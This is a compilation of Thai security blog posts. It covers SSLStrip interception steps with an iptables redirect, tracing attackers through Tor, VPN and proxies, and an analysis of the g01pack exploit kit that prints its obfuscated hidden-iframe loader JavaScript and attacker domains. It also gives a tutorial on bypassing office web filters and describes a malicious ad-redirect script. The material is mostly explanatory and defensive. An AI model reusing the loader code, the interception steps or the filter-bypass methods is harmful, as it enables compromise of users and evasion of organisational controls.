- ทำ ARP Spoofing เพื่อ Redirect ข้อมูลจากเครื่อง User มาที่ Attacker
ขั้นตอนที่ 2
- ทำ Routing traffic เพื่อให้ข้อมูลวิ่งเข้าที่ port ของ SSLStrip ที่เปิดไว้ ตัวอย่างบนเวปทั่วไปจะใช้คำสั่ง
```sh
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port
```
- Run SSLStrip
แค่เพียงเท่านี้ Attacker จะสามารถดัก Traffic ของ User ได้ทั้งหมดทันที
## วิธีการป้องกัน SSLstrip
1. Implement HTTP Strict Transport Security (HSTS) ที่ฝั่ง Server ซึ่งเป็นวิธีการบังคับให้ Web Browser คุยผ่าน HTTPS เท่านั้น แต่การทำด้วยเทคนิคนี้จะยากมากเพราะว่า Developer แต่ละ Web จะต้องมีความรู้ความเข้าใจในการทำให้ Web ตัวเองปลอดภัย
2. User จะต้องมี Awareness มากขึ้น
---
Ref: {rel=""nofollow""}
# Hacker Hunting — How to trace the hackers
สำหรับช่วงเดือนที่ผ่านมาหลาย ๆ คนน่าจะได้อ่าน[ข่าวเรื่องเว็บสำนักนายกถูกโจมตีด้วยวิธี Website Defacement หรือการเปลี่ยนหน้าตา Webpage](http://news.voicetv.co.th/thailand/69392.html){rel=""nofollow""} ให้แตกต่างไปจากที่ควรจะเป็น ซึ่ง Incognito Lab ได้รับการสอบถามจากหลาย ๆ ท่านถึงวิธีการตามหา Hacker ว่ามีวิธีการอย่างไรบ้าง ทางเราจึงขอตอบคำถามนี้ด้วยรูปแบบบทความแทนครับ
ถ้าหากเรา Classify ประเภทของ Hackers ด้วย Skills ใน Term ของ Anonymity หรือพูดง่าย ๆ ก็คือ Hacker คนนั้นคำนึงถึงเรื่อง Anonymity ของตัวเองมากน้อยแค่ไหน เราจะขอแบ่งง่าย ๆ ออกเป็น 2 ประเภทคือ
1. พวกที่ไม่แคร์เรื่อง anonymity กับ
2. พวกที่ระมัดระวังตัว ซึ่งการ Trace back ไปหา Hackers ทั้ง 2 ประเภทมีความยากง่ายแตกต่างกัน
## 1. การ Trace back เพื่อตามหา Attacker ที่ไม่แคร์เรื่อง anonymity
การตามล่ากลุ่มที่ 1 นั้น ทางเราคิดว่าเป็นเรื่องไม่ยากสำหรับเจ้าหน้าที่ตำรวจ/เจ้าพนักงาน ส่วนคนที่ทำงานในสายงาน IT น่าจะเดาได้ไม่ยากว่าจะต้องทำอย่างไร ซึ่งเราขออธิบายโดยย่อก็แล้วกันนะครับ เนื่องจากกระบวนการของ Computer Forensics มีรายละเอียดและเทคนิคอยู่มาก บทความนี้จึงขอมุ่งไปที่ประเด็นหลัก ประเด็นเดียวเลยนั่นก็คือหลักฐาน IP Address ผ่านการเก็บรวบรวมหลักฐาน(Evidence Collection) จาก Multiple sources เช่นอุปกรณ์ network พวก Router, Switch, Firewall, Load balance, Network Gateway เช่น Proxy รวมทั้งหลักฐานจากเครื่องคอมพิวเตอร์ที่ถูกโจมตีซึ่งควรจะครอบคลุมจากทั้ง 3 tier (Web,App,DB) หลังจากนั้นก็จะมาทำกระบวนการที่เรียกว่า Correlation เพื่อวิเคราะห์ความสัมพันธ์จากแหล่งข้อมูลดังกล่าว เพื่อที่จะสร้าง Timeline of activities (หากระบบมีปัญหาเรื่อง Time Synchronisation ก็จะพบกับความยุ่งยากในการ Trace back)
หลังจากเราได้ Timeline of activities แล้วเราจะ Focus ไปที่ Event หรือ Anomaly activities ที่เราสนใจ หรือ Timeframe ที่คาดว่าน่าจะเกิดเหตุการณ์ขึ้น ซึ่งหากดำเนินการมาถึงขั้นตอนนี้แล้วการตามหาเจ้าของ IP address ที่มาทำการโจมตีก็ไม่ได้เป็นเรื่องยากอะไรในทางกฎหมาย ยกเว้นแต่ว่า Attacker อยู่ในประเทศที่อำนาจในทางกฎหมายไม่สามารถบังคับใช้ได้
## 2. การ Trace back เพื่อตามหา Attacker ที่ระมัดระวังตัว
คนกลุ่มนี้รู้วิธีการปิดบังตัวเองอยู่แล้วไม่ว่าจะเป็นการใช้ Tor, VPN หรือ Proxy ในการ Impersonation เพื่อปิดบัง Source IP ที่แท้จริงของตัวเอง การ Trace back จึงยากขึ้นกว่าเดิม อาจจะล้มเหลวหรือหาเจอก็ได้ ขออธิบายเพิ่มเติมดังนี้
- Tor Network : เป็นเครือข่าย virtual tunnel ที่มีจุดประสงค์เพื่อ Privacy และ Security เป็นหลัก User ที่ใช้งานผ่าน Tor Network จะปลอดภัยจากการถูก Trace ไปที่ IP ที่กำลังใช้งานอยู่จริง ๆ ซึ่งหาก IP ที่ Trace ได้เป็น IP ที่มาจาก Tor Network หรือในทางเทคนิคเราเรียกว่า Tor Exit Nodes การตามหาก็จะยากขึ้น :br จากในภาพ Tor Network จะสร้าง Path จาก Src ไปหา Dst เป็น Random Path เสมอ และ Traffic ที่วิ่งใน Path จะผ่านการ Encryption ด้วย แต่ละ Hop จะรู้เพียงว่ามาจาก node ไหนและต้องส่งไปที่ node ไหนเท่านั้น ซึ่งในทางปฏิบัติแล้ว การ Trace back นั้นมีความยุ่งยากแต่เป็นไปได้ โดยถ้ามีการ Implement Bad Exit Node เพื่อดักจับข้อมูลและ Trace back กลับทีละ Hop จนถึง Source IP ก็จะทำได้แต่เราคิดว่ายากครับ ถ้าไม่มี Infrastructure ที่จะเข้าไป Investigate บน Exit nodes หรือพูดง่าย ๆ คือมีไม่มี Power ที่จะไปตั้ง Exit nodes ปริมาณมากพอที่จะไปใช้ในการวิเคราะห์ได้นั่นเอง :br หลาย ๆ คนอาจจะคิดว่ายากที่จะตามหา แต่จริง ๆ แล้ว Tor มีข้อจำกัดบางอย่างคือต้องทำงานกับ TCP และ Application ที่ใช้ต้อง support การ routing ด้วย SOCKS ได้ ดังนั้นไม่ใช่ทุก Packets จะผ่าน Tor ได้ Traffic ที่มีนัยสำคัญพวก DNS Resolving อาจจะเปิดเผย Source IP ที่แท้จริงของ Attacker คนนั้นได้ ขึ้นอยู่กับว่าการเก็บ traffic logs มีความสมบูรณ์มากน้อยเพียงใด
- VPN: การใช้งาน VPN มีจุดประสงค์เพื่อนำ Protocol หรือ insecure traffic ไปวิ่งอยู่บน Tunnel ที่มีความปลอดภัยสูงกว่า การที่ Attacker ใช้ VPN Service เพื่อไปโจมตีระบบเป้าหมาย ก็จะพบว่า traffic logs ที่เกิดขึ้นมาจาก VPN Server ที่กำลังให้บริการอยู่ ณ ขณะนั้น ซึ่งการตามหา Attacker นั้นไม่ยากครับ เพราะทั้ง ISP และ VPN Service Provider มี traffic logs การใช้งานอยู่
VPN Service ของ Astrill :br
\[youtube [http://www.youtube.com/watch?v=W\\\_iFbpiBaIs\&w=560\&h=315\\](http://www.youtube.com/watch?v=W%5C_iFbpiBaIs&w=560&h=315%5C){rel=""nofollow""}]
หากถามว่าจะตามหา Attacker ได้มั้ย ถ้าใช้งานผ่าน VPN Service Provider ข้ามประเทศที่มีความแตกต่างด้าน Politics, Economy หรือ Religion คำตอบคือเป็นไปได้ และทำได้ครับ ทุกวันนี้มีหน่วยงานที่ทำงานด้าน Cyber Security ที่ทำงานแบบ Cross Country กันอยู่เช่นระหว่าง US และ Russia ก็มี [Joint Statement](https://www.whitehouse.gov/sites/default/files/uploads/2011%5Fklimashin%5Fschmidt%5Fcyber%5Fjoint%5Fstatement.pdf){rel=""nofollow""} ที่ระบุถึงการทำงานต่อต้าน cyber threats หรือ non profit organisation ที่ชื่อ [IMPACT( International Multilateral Partnership Against Cyber Threats)](http://www.impact-alliance.org/home/index.html){rel=""nofollow""} ซึ่งมี CERT จากกว่า 145 ประเทศร่วมมือกัน
- Proxy : การโจมตีผ่านบริการ Proxy เป็นการโจมตีผ่านจุดให้บริการ Proxy ซึ่งการ Trace back มีความเป็นไปได้ครับ ถ้าหาก Proxy มีการเก็บ Logs แต่ถ้ามีการใช้งานผ่าน Proxy หลาย ๆ จุด การ Trace back ก็จะยุ่งยากมากยิ่งขึ้น (การใช้งาน Proxy นั้นก็ไม่ได้มีความซับซ้อนแต่อย่างใด ทุกคนสามารถเข้าถึงแหล่งข้อมูล Free Proxy ได้อย่างง่าย ๆ ) :br ยังมีอีกหลายวิธีที่จะสร้าง Anonymity ได้ และยังมีกลุ่ม Attacker อีกหลาย ๆ รูปแบบ แต่ขออนุญาตอธิบายเพียงแค่นี้นะครับ เนื่องด้วยข้อจำกัดด้านปริมาณของเนื้อหา และไม่อยากที่จะชี้ช่องอะไรที่คนอื่นอาจจะไปใช้ในทางที่ไม่ดีได้ หลาย ๆ ครั้งที่เราได้รับคำถามเรื่องจะ Hack ระบบโน้น ระบบนี้อย่างไร บ่อยมาก เราเป็นห่วงประเทศนี้ครับ และเราก็มีอุดมการณ์แน่ชัดอยู่แล้วว่า We secure the nation ใช้ความรู้ความสามารถอย่างมีคุณธรรมเท่านั้น เราไม่ทราบเหมือนกันว่าคนที่ปลูกฝังความรู้ด้าน Information Security ของคุณเป็นใคร แต่อยากให้ทุกคนคิดว่าการก้าวไปสู่คำว่า Professional คำว่า Etiquette(จรรยาบรรณ) และ Ethics(จริยธรรม) นั้นสำคัญ หากจะเรียนรู้เพื่อมา Hack คนอื่นที่มีความรู้น้อยกว่าเรา อย่าเรียนดีกว่าครับ :br อ่านมาถึงบรรทัดนี้แล้ว ผู้อ่านมีความเชื่อเพิ่มขึ้นบ้างหรือไม่ครับว่า ยังไงก็แล้วแต่ Attacker ก็มี Footprint ให้ตามรอยอยู่ดี ยิ่งถ้า Security หรือ System Administrator มีความเชี่ยวชาญในการ Deploy Protection บางอย่างยังไงพวก Attacker หรือ Hacker ก็จะทิ้งร่องรอยให้ตามหาครับ :br หลังจากที่ตามหา IP Address ต้นตอได้เรียบร้อยแล้ว ในการบังคับคดีหลักฐานที่มียังอาจจะยังมีน้ำหนักไม่เพียงพอก็เป็นได้ครับเช่น Attacker อาจจะอ้างว่าเครื่องของเค้าถูก Malware เล่นงานหรือถูกคนอื่นโจมตี ซึ่งเจ้าพนักงานต้องขอเก็บหลักฐานด้วย Computer Forensics Process ต่อจากเครื่องผู้ต้องสงสัยเพื่อหา Circumstantial Evidence เพื่อหาหลักฐานว่ามี file หรือ content อะไรน่าสงสัยบ้าง มาสนับสนุนกับหลักฐานอื่นที่หาได้จากกระบวนการสืบสวน-สอบสวนเช่นผู้ต้องสงสัยมีกิจกรรมอะไรบ้าง มีความสามารถด้านไหน มี Motivation อะไร มีเอกสารอะไรเกี่ยวข้องหรือไม่ ละแวกนั้นมี Internet Entry Points อย่างไร มีใครอาศัยอยู่ในละแวกใกล้เคียงที่น่าสงสัยบ้างและประเด็นอื่น ๆ ที่สามารถหาข้อมูลได้ หลังจากรวบรวมหลักฐานมาประกอบกัน หลักฐานที่มีทั้งหมดก็จะต้อง Support กับ Assumption จาก IP ที่หามาได้ จึงจะมีน้ำหนักพอเพื่อดำเนินทางกระบวนการยุติธรรม และการบังคับคดีต่อไป :br ถ้าผู้ต้องสงสัยมีการใช้ Full Disk Encryption ประกอบกับ Password ที่ Crack ไม่ได้แล้วอ้างว่าลืม ศาลอาจจะไม่เชื่อก็ได้ แต่จริง ๆ ก็มีวิธีการจัดประเด็นนี้อยู่ตามรูปด้านบน(Joke น่ะครับ)
## สำหรับผู้ดูแลระบบ
ควรจะป้องกันระบบของตัวเองให้ดี มีการเก็บ logs ให้พร้อม, set firewall rules ป้องกัน network access จาก anonymity network อย่างสม่ำเสมอ และปรับปรุง Security ให้ครบทุก Layer ตั้งแต่ network,system,application,data และ human
> My name is Sherlock Holmes. It is my business to know what other people don’t know." — Sherlock Holmes Quote – The Adventure of the Blue Carbuncle
เรามีความเชื่ออย่างหนึ่งครับว่ายังไงก็แล้วแต่เราจะตามหา Attacker ได้เสมอและไม่มีระบบที่ไม่มีวันถูก Hack ได้เช่นกัน
ติดตามพวกเรากันไปเรื่อย ๆ นะครับ เรามี Project ชั้นยอดที่กำลังคิดและรอการสนับสนุนอยู่ หากว่าได้รับการสนับสนุนเมื่อไร Project ที่เราจะทำขึ้นจะมาเป็น Advanced & Intelligent Protection ที่เพิ่มเติมไปจาก Traditional Protection ที่เราเคยรู้จักกันมาอย่างแน่นอน
Stay safe!!!
# Banking Trojan Hunting — g01pack's fundamental analysis
1-2 วันที่ผ่านมาผมคิดว่าหลาย ๆ คนที่เข้าไปดูข่าวออนไลน์บ่อย ๆ อาจจะตกใจเนื่องจาก Google และ Google Chrome มีการแจ้งเตือนภัยคุกคามว่า website ดังกล่าวอาจเป็นอันตรายต่อคอมพิวเตอร์ของผู้ใช้งาน
ในวันถัดมาวันที่ 13 มิถุนายน 2556 พบว่า website แห่งเดิมไม่พบปัญหา แต่พบปัญหากับ Homepage ของนสพ.อีกฉบับและสำนักข่าวอีกแห่งหนึ่งแทน
เราจึงค้นหาคำตอบด้วยการใช้ Service ที่ทำการตรวสอบ web-based malware ที่ชื่อ [urlquery.net](https://urlquery.net/){rel=""nofollow""} ซึ่งเป็น Service ที่ให้บริการฟรีครับ(กรณีทำ Bulk query แบบปริมาณมาก ๆ อาจจะช้านิดหน่อย คิดว่าอีกไม่นานจะมี API ออกมาให้เรียกใช้งานได้ง่ายขึ้นครับ ไม่ต้องไปเขียน script เพื่อไปทำ Bulk query เอง) ผลของ urlquery ทำให้เราตกใจเป็นอย่างยิ่งเนื่องจากพบ Exploitation Kit\* ที่ชื่อ g01pack
## Note:
1. ทำความเข้าใจกับ Exploitation kit ได้ที่บทความ [malware-fighting-technique-dns-sinkhole](https://incognitolab.com/blogs/malware-fighting-technique-dns-sinkhole)
2. พวก Cyber crime (ซึ่งทุกวันนี้มันกลายเป็นขบวนการใหญ่ของโลก–Organised Cyber Crime–ไปแล้ว แก๊งค์พวกนี้มีการเคลื่อนไหวอยู่ในประเทศไทยด้วย–ที่เราเห็นตามข่าวบ่อย ๆ เรื่องการโจมตี Internet Banking ของธนาคารต่าง ๆ นั่นแหละครับ) มี Crime-as-a-Service ที่บริการการก่ออาชญากรรมทุกรูปแบบ ข้อมูลเพิ่มเติมสามารถดูได้จาก [Cybercriminals Today Mirror Legitimate Business Processes ของ Fortinet](http://www.fortinet.com/sites/default/files/whitepapers/Cybercrime%5FReport.pdf){rel=""nofollow""}
เราเองใช้เวลาตามหา Active Exploitation Kit ที่วางโจมตีใน website ภายในประเทศสักพักแล้วครับ แต่ทุก ๆ ครั้งที่หาเจอ Page ที่เป็น Exploit kit ก็หายไปบ้าง, invalid domain name บ้าง เราเจ็บใจพอสมควรเนื่องจากแก๊งค์พวกนี้ขโมยเงินในประเทศของเราออกไปเยอะทีเดียว แต่วันนี้พวกเค้าทำการ Plant exploitation kit บน page หนังสือพิมพ์ครับและพร้อม ๆ กับมีข่าวเรื่อง Banking Trojan ที่โจมตีอีกระลอก(ลองไปดูที่ {rel=""nofollow""} และการแจ้งเตือนบนหน้า Internet Banking ของแต่ละธนาคาร)
ครั้งนี้เราได้พบกับ Exploitation Code ที่ Active ตัวจริงแล้วครับ เรามาวิเคราะห์ g01pack แบบง่าย ๆ กันดีกว่า
## Analysis
เริ่มแรกเลยก็ให้สังเกตว่ามีการแทรก javascript ประหลาด ๆ ในหน้า Homepage ของนสพ.แห่งนั้น
ให้เรานำตัวเลขดังกล่าวมาประกอบกัน จากนั้นก็ Decode ด้วย function ของมันเอง ใครงงลองไปดู Decoder ที่เราดัดแปลงจาก Script ดังกล่าวได้ที่ [http://pastebin.com/KWPfz3mF](https://pastebin.com/KWPfz3mF){rel=""nofollow""} ถ้าหากเราพยายามอ่าน Soucecode ของมัน(ที่ชื่อประหลาด ๆ ดูเละ ๆ นั่นแหละครับ\*\*)จะพบว่ามันพยายามทำการสร้าง iframe ขนาด 1×1 แบบ hidden และ src ของมันถูก encode เอาไว้ซึ่งเปลี่ยนแปลงได้ตลอด(สาเหตุที่ตามหายาก) หลังจาก Decode ก็จะพบว่ามันมีการเรียกไปที่
> Note: code ที่ดูประหลาด ๆ แบบนี้จงใจทำขึ้นเพื่อหลีกเลี่ยงการตรวจจับ และป้องกันไม่ให้ใครไปทำความเข้าใจการทำงานของมันง่าย ๆ ครับ กระบวนการแบบนี้ทางเทคนิคเรียกว่า code ถูก obfuscated
Response จะเป็น obfuscated javascript ที่เป็น Landing Page อีกต่อหนึ่ง
```js
;(function () {
var fYN = document,
K = { i: 'rame' },
NNC,
E
function GG(L, Y) {
return (L.src = Y)
}
function D(m) {
m += '58,41,43,51,-10,56,48,56,7,41,44,62,45,58,60,5,-3,-3'
m = m.split(',')
t = ''
for (i = 0; i < m.length - 1; i++) {
n = parseInt(m[0])
n += parseInt(m[i + 1])
t += String.fromCharCode(n)
}
return t
}
if (
/(Windows)/.test(navigator.userAgent) &&
/(MSIE)/.test(navigator.userAgent)
) {
try {
NNC =
'56,48,60,60,56,2,-9,-9,43,66,64,43,64,66,-10,60,55,56,49,43,41,52,59,'
E = md()
TT = D(NNC)
GG(E, TT)
} catch (e) {}
}
function l() {
return 'if' + K.i
}
function md() {
var tt = document.createElement(l())
tt.width = '1px'
NNC +=
'49,53,61,52,41,60,49,55,54,59,-10,54,45,60,-9,43,56,41,54,45,52,39,46,49,52,45,-9,43,'
tt.height = '1px'
tt.style['visibility'] = 'hidden'
try {
fYN['body']['appendChild'](tt)
} catch (P) {
try {
document.write('')
document.body.appendChild(tt)
} catch (uWin) {}
}
return tt
}
})()
```
ข้อความที่ปรากฎเป็นบทที่คัดมาจากเรื่อง Hamlet ของ William Shakespeare แต่มีข้อความแปลก ๆ ด้านบนแทรกเข้ามา และมีบางบรรทัดของที่หายไป(ตอนนี้เรายังไม่เข้าใจว่ามันหมายถึงอะไรเช่นกัน)
นอกเหนือจากนั้นยังพบว่ามีการแทรก applet แถมมาให้อีกด้วย ลองดู applet นั้นได้ที่ [http://pastebin.com/q52Pi7Kx](https://pastebin.com/q52Pi7Kx){rel=""nofollow""}:br
หากลองดูให้ดี จะเห็น pattern ซ้ำ ๆ จริงมั้ยครับ??
หลังจากที่ applet ทำงานมันจะพยายาม break security policy ดูที่ sourcecode โดยอาศัยช่องโหว่ [CVE-2012-1723](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723){rel=""nofollow""} ที่ทำการโจมตี Java
อีกทั้งยังทำงานเป็นตัว Loader ที่พยายามทำการ download payload ต่าง ๆ เช่น banking trojan หรือ malware ประเภทอื่น ๆ มา deploy เพิ่มเติม
เราทำการทดสอบ applet ตัวนี้กับ virustotal และพบว่า Evasion ของมันไม่ธรรมดาครับ [ผลของมันคือ Detection ratio: 3/47](https://www.virustotal.com/en/file/8e87966f8951113f0211ccdfa51c988b414b11dbba2af510caad9d6b63a3bc7d/analysis/1371112365/){rel=""nofollow""} ซึ่งถือว่าหลบหลีกได้ดีมาก
การแพร่ Exploitation Kit ผ่าน website ข่าวที่มีคนเข้าไปดูเป็นจำนวนมาก เป็นสิ่งที่น่าเป็นห่วงอย่างยิ่ง เราลองสังเกตพบว่าส่วนใหญ่มาจาก ads ที่อยู่ตาม website ต่าง ๆ มันคอยซ่อนตัว รอโอกาสโจมตี พอเราจะเข้าไปตรวจสอบมันก็หายไป อีกทั้งยังมีการปิด-เปิด-เปลี่ยน domain name บ่อยมาก
## สำหรับผู้ใช้งานทั่วไป
1. อ่านบทความของ Thaicert ({rel=""nofollow""})
2. สำหรับการใช้งานทั่วไป ส่วนใหญ่ java plugin ไม่จำเป็นต้องใช้งานอยู่แล้ว [แนะนำว่าปิดการทำงานของ java](https://www.java.com/en/download/help/disable%5Fbrowser.xml){rel=""nofollow""} ไปเลยดีกว่าครับ เพราะช่วงนี้เสี่ยง
3. ลองดูว่าเครื่องของเรามี patch อะไรที่ต้อง update บ้าง โดยสามารถใช้บริการจากที่นี่ได้เลยครับ [Rapid7 Browser Scan](https://browserscan.rapid7.com/scanme){rel=""nofollow""} ฟรี
## สำหรับผู้ดูแลระบบและผู้สนใจ
1. อ่านบทความของ Thaicert ({rel=""nofollow""})
2. ลอง review logs โดยด่วนว่ามี users คนไหนที่ไป visit website ดังกล่าวบ้าง ซึ่งให้ดูจาก Firewall logs ก็พอครับ เพราะ resolve ไปที่
```text
IP: 195.3.147.229 ใน Latvia
czxcxz.topicalsimulations.net
zxcasdw.gamesdropboxs.biz
zzzaaa.megabytessimilarity.net
```
ทั้ง 3 domain name ถูก registered วันที่ 10,11 และ 12 มิถุนายนที่ผ่านมาสด ๆ ร้อน ๆ เลย
3. ใช้ Window Sysinternals กับเครื่องที่สงสัยว่าจะถูกโจมตี โดยให้เปิด Browser ขึ้นมาก่อน อีกวิธีคือให้ดู Hook ของ Process ของ Browser ด้วย ถ้าพบว่า function ที่สำคัญถูก Hook เช่นนี้เครื่องนั้นถูกโจมตีแน่นอน
4. อ่านบทความเรื่อง[ Multi-Stage Exploit Attacks for More Effective Malware Delivery ของ Trusteer](https://www.trusteer.com/blog/multi-stage-exploit-attacks-for-more-effective-malware-delivery){rel=""nofollow""}
---
**ขอให้ทุกคนปลอดภัย Stay safe!!**
# Easy technique to bypass web filtering
## คุณเคยรู้สึกแบบนี้บ้างไหม?
อยู่ออฟฟิศ เข้า Web ไม่ได้อีกแล้ว จะบล็อคอะไรกันนักหนา Web ที่จะเข้าก็ใช้เกี่ยวกับงานทั้งนั้นแหละ ขอเข้าแค่ Web เดียว นี่จะต้องไป Process กันนานขนาดนี้เลยเหรอ เออเดี๋ยวเปิดดูผ่านจอเล็ก ๆ ในมือถือก็ได้
วันนี้เรามีวิธีการที่จะมาช่วยคุณได้ เตรียมพบกับวิธีจัดการกับเจ้า Web Filter หรือเจ้าอุปกรณ์ที่ใช้ควบคุมการเข้า Website ในองค์กรกันนะครับ
## เริ่มจากทำความเข้าใจก้บ Web Filter ก่อนว่าทำงานอย่างไร
ในบางครั้ง Web Filter ก็ถูกเรียกว่า Web Proxy ซึ่งในองค์กรมักจะวางเจ้าอุปกรณ์ตัวนี้ในลักษณะที่เป็น Proxy Server
Proxy Concept Ref: {rel=""nofollow""}
จากรูปด้านบนจะเห็นว่า Proxy Server เป็นตัวกลางที่ใช้รับส่งข้อมูลระหว่าง Alice และ Bob เปรียบเสมือน Proxy Server เป็นตัวกลางระหว่าง User ในองค์กร และ Website ต่าง ๆ ดังนั้น Request จาก User จะถูกส่งมาที่ Proxy ก่อนที่จะส่งจาก Proxy ไปหา Website ทำให้ Proxy นั้นสามารถตัดสินใจได้ว่าจะอนุญาตให้ User เข้าใช้งาน Website ต่าง ๆ ได้หรือไม่ ซึ่งความเก่งในการตัดสินใจนี้ขึ้นอยู่กับอุปกรณ์ว่าฉลาดแค่ไหนด้วยครับ
เพิ่มเติม Function ของ Web Proxy นั้นนอกจากจะทำ Web Filter แล้วมักจะใช้คู่กับการทำ Caching ด้วย เพื่อเพิ่มความเร็วและช่วยประหยัด Bandwidth ให้กับองค์กรในกรณีที่มีหลาย ๆ User ต้องการเข้าใช้งาน Web Site เดียวกัน ก็สามารถดึงข้อมูลจากใน Cache ส่งให้ได้ทันที ไม่ต้องเสียเวลาไป Request จาก Server หลาย ๆ ครั้ง
สำหรับการ Bypass Web Filter หรือการแอบเล่น Internet นั้นสามารถทำได้หลายวิธี แต่บทความนี้จะยกตัวอย่างมา 3 วิธี ดังต่อไปนี้
## วิธีที่ 1 ใช้ HTTPS แทน HTTP
การวาง Web Proxy นั้นหากไม่ได้มีการเปิด Feature ที่เรียกว่า SSL Interception ไว้ Admin ของระบบมักจะมีการปล่อยให้ทุก Request ที่เป็น HTTPS วิ่งออกสู่ Internet ได้เลย
SSL Interception คือ วิธีการ Decrypt ข้อมูลของ SSL Tunnel เพื่อวิเคราะห์ดูถึง Content หรือ URL ใน Request ซึ่งหากไม่ทำการ Decrypt ข้อมูลก่อน Web Proxy ก็จะไม่สามารถตัดสินใจได้ว่าควรอนุญาตให้ Request นั้นผ่านไปหรือไม่ ซึ่งจะกลายเป็นว่าจะปล่อยผ่านทุก ๆ Request ที่เป็น HTTPS (เข้าได้ทุก HTTPS website) หรือ ไม่ปล่อย HTTPS เลย (Website ที่เป็น HTTPS จะเข้าไม่ได้เลย)
หากองค์กรไหนที่ต้องการจะทำ SSL Interception นั้นจะต้องมีความเข้าใจในเรื่อง Digital Certificate พอสมควร ไม่อย่างนั้น User จะพบกับปัญหาการแจ้งเตือน "SSL Certificate Untrusted" ได้ เนื่องจากว่าการทำ SSL Interception เปรียบเสมือนกับการทำ Man-in-the-middle attack รูปแบบนึง
## วิธีที่ 2 ใช้ Google Cache
ถ้าเคยสังเกตจะเห็นว่าส่วนใหญ่ใน Search Result ของ Google มักจะมีให้กด Cached ดูได้ ซึ่ง Cache ก็คือข้อมูลเก่าที่มีการเก็บไว้ที่ Google ตอนที่ Google ทำการ Crawling Web Site นั้น ๆ นั่นเอง
การใช้งาน Cached นั้นจะช่วยให้สามารถอ่านข้อมูลบนหน้า Web Site ได้เนื่องจากว่า Request ที่มีการส่งไปนั้นจะเป็นการส่งไปหา Google ซึ่งปกติแล้วไม่มีใครเค้า Block Google Website กันครับ แต่ว่าจะมีข้อเสียคือ ข้อมูลใน Cache ของ Google นั้นอาจจะเป็นข้อมูลที่ไม่ใช่ข้อมูล update ล่าสุด และการใช้งานนั้นมักจะเป็นการเข้าใช้งานได้ทีละหน้าเท่านั้น เนื่องจาก Link ต่าง ๆ จาก Cache จะ Link ไปหา Website จริง ซึ่งอาจจะถูก Block อยู่
## วิธีที่ 3 ใช้ Google Translate
สำหรับวิธีนี้โดยส่วนตัวชอบมากครับ เราสามารถใช้ Google Translate เพื่อ Bypass Web Filter ได้โดยการใช้การแปลภาษา ซึ่งปกติเรามักจะใช้ Google Translate แค่แปลประโยคเท่านั้น แต่หากเราต้องการแปลทั้ง Website เราสามารถพิมพ์ชื่อ Website นั้น ๆ ที่กล่องด้านซ้ายมือได้เลย
หากอยากดู Website ที่ต้องการโดยภาษาไม่เปลี่ยน (หรือเปลี่ยนน้อยที่สุด) นั้น จะต้องเลือกต้องเลือกภาษา (output language) ที่ต้องการแปลให้ตรงกับ Website นั้น ๆ เช่น เลือกภาษาไทย สำหรับ Website Pantip.com ครับ จากนั้นก็ Click ไปที่ URL ในกล่องด้านขวามือได้เลย
จากรูปด้านบนจะเห็นว่าถึงแม้ Content ของ Website จะเป็นของ Website Pantip.com แต่ URL ที่ทำการ Request ไปนั้นเป็นของ Google ซึ่งปกติจะไม่ถูก Block อยู่แล้วครับ
## สรุป
ทั้ง 3 วิธีนี้เป็นเพียงวิธีการง่าย ๆ เพื่อให้ User ทั่วไปเข้าใจและสามารถนำไปใช้ได้อย่างง่าย ๆ เท่านั้นครับ ซึ่ง 3 วิธีการนี้อาจจะใช้ผ่านบ้าง ไม่ผ่านบ้าง ก็ลองนำไปใช้ดู หากมีใครมีวิธีง่าย ๆ น่าสนใจก็แนะนำกันได้ครับ และหากมีใครสนใจเรื่อง Security เรื่องไหนเป็นพิเศษก็แจ้งเราได้เช่นกันนะครับ แล้วพบกันใหม่ครับ
# IncognitoLab Case : Attack by advertisement
## สถานการณ์ล่าสุด
> 2:20PM 26 Sep 2013 script หยุดการ redirect
สำหรับท่านที่มีปัญหาเรื่องการ redirect อัตโนมัติ ให้ลองตรวจสอบว่า Java ที่ติดตั้งอยู่ในเครื่องคือ version 1.7 ใช่หรือไม่ ซึ่งสามารถตรวจสอบได้ที่ [BrowserScan by Rapid7 ](https://browserscan.rapid7.com/scanme){rel=""nofollow""}โดยที่การวิเคราะห์ล่าสุดนั้นพบว่าเครื่องที่เกิดปัญหาจะมีการใช้งาน java 1.7.x อยู่ และ website ที่เข้าไปใช้งานมี script การติดตามผู้ใช้งานอยู่ตามรูป
ซึ่งตัวการที่ทำให้การใช้งานของเรามีปัญหาคือ scorecardresearch.com
## วิธีการแก้ไข
ต้อง Block มันครับ บน chrome และ firefox มี plugin ชื่อ collusion ที่สามารถ block การติดตามการใช้งานได้ ซึ่งมันจะ block website พวก tracer ที่คอยติดตามการท่องเว็บของเราอยู่ตลอด
หลังจากที่ห่างหายไปนานเมื่อวานพวกเราพึ่งจะเผยแพร่บทความไป ตั้งใจว่าจะทิ้งช่วงไว้สักนิดค่อยเขียนบทความใหม่ แต่เราก็ทำไม่ได้ครับเนื่องจากมีเหตุการณ์บางอย่างเกิดขึ้นกับการใช้งาน Internet ของพวกเรา นั่นคือบาง Website ที่เราเข้าไปใช้งาน เกิดอาการแปลก ๆ ขึ้น โดยหลังจากเข้าไปบาง website มันมักจะ redirect ไปที่ [www.forex-prices.com](http://www.forex-prices.com){rel=""nofollow""}
หลังจากที่พวกเราสังเกตดูหลาย ๆ website\* ได้แก่ bloomberg, posttoday และ stock2morrow ก็พบว่าภายใน website มีการใช้งาน service ของ scorecardresearch.com อยู่ ซึ่ง scorecardresearch.com นั้น claim ตัวเองว่าเป็น service ด้านการตลาดอย่างหนึ่ง
> ขออนุญาตกล่าวอ้างอิงถึงเพื่อเป็นประโยชน์กับผู้อ่านครับ จริง ๆ แล้วมีหลายเว็บแต่ขอยกเฉพาะ website ที่คนไทยน่าจะรู้จักกันมากพอสมควร นอกจากนี้เราพบว่าปัญหานี้เกิดขึ้นกับ ISP บางเจ้าเท่านั้นครับ
พอเราสังเกตให้ละเอียดขึ้นพบว่าหลังจากที่เข้า website ดังกล่าวจะมี request ไปที่ b.scorecardresearch.com เกิดขึ้นเสมอตามรูป
หลังจากนั้นก็จะมี script ดังกล่าวขึ้นมาทำงาน
ถ้าวิเคราะห์แบบเร็ว ๆ ดูก็จะพบว่ามี keyword เหล่านี้อยู่ใน sourcecode
```js
self","top","href","location","http://goo.gl/voNi7T","script",
"createElement","type","text/javascript","async","src",
"http://fxpr.com//api.js","getElementsByTagName","authID","",
"body","p","div","h1","header","html","insertBefore","parentNode
```
